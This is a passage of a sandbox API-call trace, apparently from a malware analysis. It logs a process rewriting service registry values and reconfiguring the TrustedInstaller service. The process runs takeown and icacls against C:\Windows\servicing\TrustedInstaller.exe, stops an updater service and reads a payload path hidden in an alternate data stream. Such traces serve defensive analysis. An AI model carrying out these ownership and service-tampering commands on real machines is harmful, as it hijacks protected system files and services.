dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.750] RegEnumValueA (in: hKey=0xc8, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.750] RegEnumValueA (in: hKey=0xc8, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.750] RegEnumValueA (in: hKey=0xc8, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.750] RegEnumValueA (in: hKey=0xc8, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.750] RegEnumValueA (in: hKey=0xc8, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.750] RegEnumValueA (in: hKey=0xc8, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.750] RegEnumValueA (in: hKey=0xc8, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.750] RegEnumValueA (in: hKey=0xc8, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.750] RegEnumValueA (in: hKey=0xc8, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.750] RegEnumValueA (in: hKey=0xc8, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0259.751] RegSetValueExA (hKey=0x0, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x1de6e98, cbData=0x195) returned 0x6 [0259.751] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de6e98) returned 1 [0259.751] RegSetValueExA (hKey=0x0, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x1, lpData=0x1de4768, cbData=0x1) returned 0x6 [0259.751] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4768) returned 1 [0259.751] RegEnumValueA (in: hKey=0xc8, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.751] RegEnumValueA (in: hKey=0xc8, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.751] RegEnumValueA (in: hKey=0xc8, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.751] RegEnumValueA (in: hKey=0xc8, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.751] RegEnumValueA (in: hKey=0xc8, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.751] RegEnumValueA (in: hKey=0xc8, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.751] RegEnumValueA (in: hKey=0xc8, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.751] RegEnumValueA (in: hKey=0xc8, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.751] RegEnumValueA (in: hKey=0xc8, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.751] RegEnumValueA (in: hKey=0xc8, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.751] RegEnumValueA (in: hKey=0xc8, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.751] RegEnumValueA (in: hKey=0xc8, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0259.752] RegSetValueExA (hKey=0x0, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData=0x1de4b10, cbData=0xc) returned 0x6 [0259.752] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4b10) returned 1 [0259.752] RegSetValueExA (hKey=0x0, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData=0x1de4b10, cbData=0x1) returned 0x6 [0259.752] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4b10) returned 1 [0259.752] RegEnumValueA (in: hKey=0xc8, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.752] RegEnumValueA (in: hKey=0xc8, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.752] RegEnumValueA (in: hKey=0xc8, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.752] RegEnumValueA (in: hKey=0xc8, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.752] RegEnumValueA (in: hKey=0xc8, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.752] RegEnumValueA (in: hKey=0xc8, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.752] RegEnumValueA (in: hKey=0xc8, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.752] RegEnumValueA (in: hKey=0xc8, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.752] RegEnumValueA (in: hKey=0xc8, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.752] RegEnumValueA (in: hKey=0xc8, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.752] RegEnumValueA (in: hKey=0xc8, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.752] RegEnumValueA (in: hKey=0xc8, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0259.753] RegSetValueExA (hKey=0x0, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData=0x1de47f8, cbData=0x6) returned 0x6 [0259.753] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de47f8) returned 1 [0259.753] RegSetValueExA (hKey=0x0, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData=0x1de47f8, cbData=0x1) returned 0x6 [0259.753] RegEnumValueA (in: hKey=0xc8, dwIndex=0x0, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.753] RegEnumValueA (in: hKey=0xc8, dwIndex=0x1, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.753] RegEnumValueA (in: hKey=0xc8, dwIndex=0x2, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.753] RegEnumValueA (in: hKey=0xc8, dwIndex=0x3, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.753] RegEnumValueA (in: hKey=0xc8, dwIndex=0x4, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.753] RegEnumValueA (in: hKey=0xc8, dwIndex=0x5, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.753] RegEnumValueA (in: hKey=0xc8, dwIndex=0x6, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.753] RegEnumValueA (in: hKey=0xc8, dwIndex=0x7, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.753] RegEnumValueA (in: hKey=0xc8, dwIndex=0x8, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.753] RegEnumValueA (in: hKey=0xc8, dwIndex=0x9, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.753] RegEnumValueA (in: hKey=0xc8, dwIndex=0xa, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0259.753] RegEnumValueA (in: hKey=0xc8, dwIndex=0xb, lpValueName=0x18fa78, lpcchValueName=0x18fa74, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x18fa74, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0259.753] RegSetValueExA (hKey=0x0, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData=0x1de4b10, cbData=0x1) returned 0x6 [0259.753] CommandLineToArgvW (in: lpCmdLine="", pNumArgs=0x18fb80 | out: pNumArgs=0x18fb80) returned 0x5d3a08*="C:\\Users\\5P5NRG~1\\AppData\\Roaming\\7BAXKI~1:bin" [0259.754] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x10) returned 0x58d678 [0259.754] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x8) returned 0x58d3d8 [0259.754] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5fb0 [0259.754] LocalFree (hMem=0x5d3a08) returned 0x0 [0259.754] RegSetValueExA (hKey=0x0, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData=0x1de4690, cbData=0x2f) returned 0x6 [0259.754] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="TrustedInstaller", dwDesiredAccess=0x2) returned 0x5d6df8 [0259.754] ChangeServiceConfigW (in: hService=0x5d6df8, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0259.757] CloseServiceHandle (hSCObject=0x5d6df8) returned 1 [0259.758] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0259.758] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d498) returned 1 [0259.758] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d630) returned 1 [0259.758] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0259.758] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d4b8) returned 1 [0259.758] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58d660) returned 1 [0259.758] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0259.758] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0259.758] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58e8c8) returned 1 [0259.758] RegCloseKey (hKey=0xc8) returned 0x0 [0259.758] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de43c0) returned 1 [0259.758] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4378) returned 1 [0259.758] GetFileAttributesExW (in: lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), fInfoLevelId=0x0, lpFileInformation=0x18fbe8 | out: lpFileInformation=0x18fbe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bcf001f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bcf001f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bcf001f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2f600)) returned 1 [0259.758] CreateFileW (lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0259.758] GetLastError () returned 0x5 [0259.758] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e8c8 [0259.758] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0259.758] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5fb0 [0259.758] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x5000) returned 0x1de6e98 [0259.758] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4378 [0259.758] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4378) returned 1 [0259.758] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de6e98) returned 1 [0259.758] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0259.758] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x1e6e578 [0259.758] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0259.758] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\takeown.exe", lpCommandLine="C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\servicing\\TrustedInstaller.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fbd0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fbc0 | out: lpCommandLine="C:\\Windows\\system32\\takeown.exe /F C:\\Windows\\servicing\\TrustedInstaller.exe", lpProcessInformation=0x18fbc0*(hProcess=0x15c, hThread=0xc8, dwProcessId=0x464, dwThreadId=0x314)) returned 1 [0259.766] NtClose (Handle=0xc8) returned 0x0 [0259.766] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e6e578) returned 1 [0259.766] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x5000) returned 0x1de6e98 [0259.766] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4378 [0259.766] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4378) returned 1 [0259.766] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de6e98) returned 1 [0259.766] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x5000) returned 0x1de6e98 [0259.766] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4378 [0259.766] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4378) returned 1 [0259.766] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de6e98) returned 1 [0259.766] WaitForSingleObject (hHandle=0x15c, dwMilliseconds=0x2710) returned 0x0 [0260.287] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0260.287] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x1e6e578 [0260.287] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0260.287] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\icacls.exe", lpCommandLine="C:\\Windows\\system32\\icacls.exe C:\\Windows\\servicing\\TrustedInstaller.exe /reset", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fbd0*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x18fbc0 | out: lpCommandLine="C:\\Windows\\system32\\icacls.exe C:\\Windows\\servicing\\TrustedInstaller.exe /reset", lpProcessInformation=0x18fbc0*(hProcess=0x154, hThread=0xc8, dwProcessId=0x4a4, dwThreadId=0x2b4)) returned 1 [0260.294] NtClose (Handle=0xc8) returned 0x0 [0260.294] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1e6e578) returned 1 [0260.294] NtClose (Handle=0x15c) returned 0x0 [0260.294] WaitForSingleObject (hHandle=0x154, dwMilliseconds=0x2710) returned 0x0 [0260.706] NtClose (Handle=0x154) returned 0x0 [0260.714] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5fb0) returned 1 [0260.714] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5d90) returned 1 [0260.714] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x58e8c8) returned 1 [0260.714] GetFileAttributesExW (in: lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), fInfoLevelId=0x0, lpFileInformation=0x18fbe8 | out: lpFileInformation=0x18fbe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bcf001f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8bcf001f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8bcf001f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2f600)) returned 1 [0260.715] CreateFileW (lpFileName="C:\\Windows\\servicing\\TrustedInstaller.exe" (normalized: "c:\\windows\\servicing\\trustedinstaller.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0260.715] GetLastError () returned 0x5 [0260.715] CryptAcquireContextW (in: phProv=0x18fc2c, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18fc2c*=0x5d3ac0) returned 1 [0260.715] CryptGenRandom (in: hProv=0x5d3ac0, dwLen=0x4, pbBuffer=0x18fc40 | out: pbBuffer=0x18fc40) returned 1 [0260.715] CryptReleaseContext (hProv=0x5d3ac0, dwFlags=0x0) returned 1 [0260.716] OpenServiceW (hSCManager=0x5d6d80, lpServiceName="AdobeFlashPlayerUpdateSvc", dwDesiredAccess=0x20) returned 0x5d6d08 [0260.725] ControlService (in: hService=0x5d6d08, dwControl=0x1, lpServiceStatus=0x18fb90 | out: lpServiceStatus=0x18fb90*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0260.734] CloseServiceHandle (hSCObject=0x5d6d08) returned 1 [0260.734] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4378 [0260.734] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de43c0 [0260.734] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x58e8c8 [0260.734] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x280) returned 0x1dd29e0 [0260.734] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0260.734] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0260.734] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5d90 [0260.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0260.734] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4de0 [0260.734] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x1de4de0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0260.734] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0260.735] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4de0) returned 1 [0260.735] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0260.735] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, 